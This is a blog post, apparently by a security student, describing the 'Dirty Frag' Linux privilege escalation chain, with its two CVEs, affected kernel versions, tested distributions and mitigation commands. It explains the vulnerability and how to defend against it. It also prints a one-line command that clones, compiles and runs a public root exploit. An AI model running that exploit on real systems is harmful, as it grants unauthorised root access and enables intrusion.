Post cover image

May 28, 2026

Dirty Frag: Universal Linux LPE Through Page Cache Corruption

Date: 07/05/2026 Vulnerabilities: CVE-2026–43284 & CVE-2026–43500

By Rayenhafsawy

3 min read

🧭 Introduction

A new Linux privilege escalation vulnerability class named Dirty Frag has emerged, allowing attackers to gain root privileges on nearly all major Linux distributions through deterministic page cache corruption.

Dirty Frag chains together two separate kernel vulnerabilities:

  • CVE-2026–43284 — xfrm-ESP Page-Cache Write
  • CVE-2026–43500 — RxRPC Page-Cache Write

The research was published by security researcher Hyunwoo Kim (@v4bel) and represents a new descendant of the same vulnerability family as:

  • Dirty Pipe
  • Copy Fail

Unlike many historical Linux kernel exploits, Dirty Frag does not rely on race conditions, unstable heap spraying, or kernel timing windows. Instead, it abuses deterministic logic bugs inside the Linux networking stack to corrupt read-only page cache memory and reliably escalate privileges.

According to the researchers, the exploit succeeds with an extremely high success rate and does not crash the kernel when exploitation fails.

🔍 What Is Dirty Frag?

Dirty Frag is a Linux kernel local privilege escalation vulnerability chain that abuses page cache corruption primitives inside networking subsystems.

The attack targets the Linux kernel's handling of:

struct sk_buff

More specifically, the exploit abuses corrupted fragment metadata to overwrite read-only cached file pages directly from kernel space.

This allows attackers to modify binaries such as:

/usr/bin/su

and instantly gain root access.

⚡ Why Dirty Frag Is Dangerous

Dirty Frag is particularly severe because it is:

  • Deterministic
  • Stable
  • Publicly weaponized
  • Universal across major distributions
  • Independent of race conditions
  • Extremely reliable

Unlike classic Linux LPEs that rely on memory corruption races or use-after-free bugs, Dirty Frag abuses pure logic flaws.

The exploit chain provides attackers with direct page cache modification primitives capable of corrupting protected files without touching disk contents.

This means security products monitoring filesystem changes may not detect exploitation immediately.

🧠 The Two Vulnerabilities

CVE-2026–43284 — xfrm-ESP Page-Cache Write

The first vulnerability exists inside the Linux:

xfrm-ESP

subsystem.

It provides a powerful arbitrary 4-byte STORE primitive similar to Copy Fail.

However, exploitation requires permission to create namespaces.

This becomes problematic on hardened Ubuntu systems where:

unprivileged user namespaces

may be blocked through AppArmor restrictions.

CVE-2026–43500 — RxRPC Page-Cache Write

The second vulnerability exists inside:

rxrpc

Unlike the ESP variant, this vulnerability does not require namespace creation privileges.

However, the:

rxrpc.ko

module is not loaded by default on most distributions.

Ubuntu systems are an exception because the module is commonly enabled automatically.

🔗 Why Chain Both Vulnerabilities?

The researchers chained both vulnerabilities together to eliminate each other's limitations.

The xfrm-ESP vulnerability works broadly across distributions but may fail where unprivileged namespaces are blocked.

The RxRPC vulnerability avoids the namespace restriction but depends on the rxrpc module being present.

By combining both variants, the exploit becomes universally effective across almost every major Linux distribution.

This is what makes Dirty Frag particularly dangerous.

💥 Exploitation

The researchers released a public proof-of-concept exploit capable of obtaining root privileges with a single command.

One-line Exploit

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

The exploit modifies page cache memory associated with privileged binaries and yields immediate root access.

The researchers explicitly warned that the exploit should only be used on systems where testing authorization exists.

🧪 Affected Versions

CVE-2026–43284

Affected from:

cac2661c53f3 (2017-01-17)

Patched in:

f4c50a4034e6 (2026-05-05)

CVE-2026–43500

Affected from:

2dc334f1a63a (2023-06-08)

Patched in:

aa54b1d27fe0 (2026-05-10)

The vulnerability chain remained exploitable for approximately:

9 years

🖥️ Tested Distributions

Dirty Frag was successfully tested against:

  • Ubuntu 24.04.4
  • RHEL 10.1
  • openSUSE Tumbleweed
  • CentOS Stream 10
  • AlmaLinux 10
  • Fedora 44

Researchers confirmed successful privilege escalation on all tested systems.

🛡️ Mitigation

The recommended mitigation removes the vulnerable kernel modules and clears the contaminated page cache.

Mitigation Command

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

Administrators should also apply official kernel patches as soon as distributions release updates.

⚠️ Cleanup After Exploitation

The researchers noted that exploitation contaminates the kernel page cache.

To restore stability:

echo 3 > /proc/sys/vm/drop_caches

or reboot the system entirely.

🧬 Relationship With Dirty Pipe & Copy Fail

Dirty Frag belongs to the same general vulnerability family as:

  • Dirty Pipe
  • Copy Fail

All three attacks abuse unintended writes into protected memory regions associated with cached file data.

However, Dirty Frag differs because:

  • It does not require timing races
  • It avoids unstable memory corruption
  • It remains reliable even with some Copy Fail mitigations enabled

The researchers specifically stated that systems protected against Copy Fail through:

algif_aead blacklist

may still remain vulnerable to Dirty Frag.

🎯 Why This Vulnerability Matters

Dirty Frag demonstrates a worrying trend in Linux kernel exploitation:

Modern privilege escalation vulnerabilities are becoming:

  • More deterministic
  • Easier to weaponize
  • More portable across distributions
  • More difficult to detect

The exploit chain abuses legitimate kernel functionality rather than crashing subsystems or corrupting heap structures in noisy ways.

This makes detection and mitigation significantly harder in enterprise environments.

Systems especially at risk include:

  • Shared Linux servers
  • CI/CD infrastructure
  • Container hosts
  • Multi-user systems
  • Kubernetes worker nodes
  • Build farms

🔚 Conclusion

Dirty Frag is one of the most impactful Linux local privilege escalation vulnerabilities disclosed in recent years.

Its reliability, broad distribution coverage, and deterministic exploitation model make it particularly dangerous compared to older Linux kernel exploits.

The fact that the exploit chain remained viable for nearly a decade highlights how subtle logic bugs inside kernel networking subsystems can evolve into universal privilege escalation primitives.

Organizations running Linux infrastructure should prioritize patching immediately and apply mitigations where updates are not yet available.

✍️ About the Author

Rayen Hafsawy — Cybersecurity student focused on Linux exploitation, penetration testing, and vulnerability research.

📧 rayenhafsawy@gmail.com